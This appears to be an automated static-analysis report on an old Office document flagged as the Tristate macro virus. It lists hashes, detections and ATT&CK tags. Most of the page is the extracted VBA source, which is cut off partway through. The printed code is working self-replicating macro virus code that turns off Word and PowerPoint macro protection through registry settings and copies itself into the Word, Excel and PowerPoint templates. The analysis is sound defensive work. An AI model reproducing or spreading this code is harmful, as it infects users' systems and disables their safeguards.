Win.Trojan.Tristate-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 b29324e5267cfbac…

MALICIOUS

Office (OLE)

51.5 KB Created: 2000-09-12 17:48:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2141dc5097bb340ce27f6e61571d0a43 SHA-1: ed3a131113c73545b1bc796945f81c6967a89d7e SHA-256: b29324e5267cfbac756560ba15e453aec7123fa85903504aaf45c5b1680e3cb5
220 Risk Score

Malware Insights

Win.Trojan.Tristate-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros that use CreateObject and GetObject calls, indicative of malicious activity. The embedded script attempts to manipulate Excel settings and potentially download or execute further stages. The ClamAV detection of 'Win.Trojan.Tristate-2' and 'Doc.Trojan.Tristate-1' strongly suggests a known trojan family. The document body explicitly warns of a macro virus, which is likely a lure.

Heuristics 4

  • ClamAV: Win.Trojan.Tristate-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Tristate-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9421 bytes
SHA-256: 28bddf8ef6f90abb80f9eefe64649ae18587fde0fa3bc3c18e805821819aaf91
Detection
ClamAV: Doc.Trojan.Tristate-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'<!--1nternal-->
'Triplicate v0.21 /1nternal
Private Sub Document_Close()
    On Error Resume Next
    Options.VirusProtection = False
    Options.ConfirmConversions = False
    Options.SaveNormalPrompt = False
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set TT = Templates(1).VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
        AD.DeleteLines 1, AD.CountofLines
        AD.InsertLines 1, TT.Lines(1, TT.CountofLines)
        If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
            AD.InsertLines 1, NT.Lines(1, NT.CountofLines)
        End If
    End If
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.DeleteLines 1, NT.CountofLines
        NT.InsertLines 1, AD.Lines(1, AD.CountofLines)
        Set xlApp = CreateObject("Excel.Application")
        If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Check"
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Whoa"
            Set Book1Obj = xlApp.Workbooks.Add
            Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
            Book1Obj.Close
        End If
        xlApp.Quit
        Set PPObj = CreateObject("PowerPoint.Application")
        Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
        For Each ModComponent In PBT.VBProject.VBComponents
            If ModComponent.Name = "Triplicate" Then dontadd = True
        Next
        If dontadd <> True Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            Set NewMod = PBT.VBProject.VBComponents.Add(1)
            NewMod.Name = "Triplicate"
            NewMod.CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)"
            Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
            With ShapetoWack
                .Name = "Triplicate"
                .ZOrder (1)
                .Line.Visible = False
                .Fill.Visible = False
                .ActionSettings(1).Action = 8
                .ActionSettings(1).Run = "actionhook"
            End With
            Set NewMod = Nothing
            PBT.Save
        End If
        PBT.Close
        PPObj.Quit
    End If
    If TT.Lines(1, 1) <> "'<!--1nternal-->" Then
        TT.DeleteLines 1, TT.CountofLines
        TT.InsertLines 1, NT.Lines(1, NT.CountofLines)
    End If
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    Set AW = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set TW = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
        Set WordObj = GetObject(, "Word.Application")
... (truncated)

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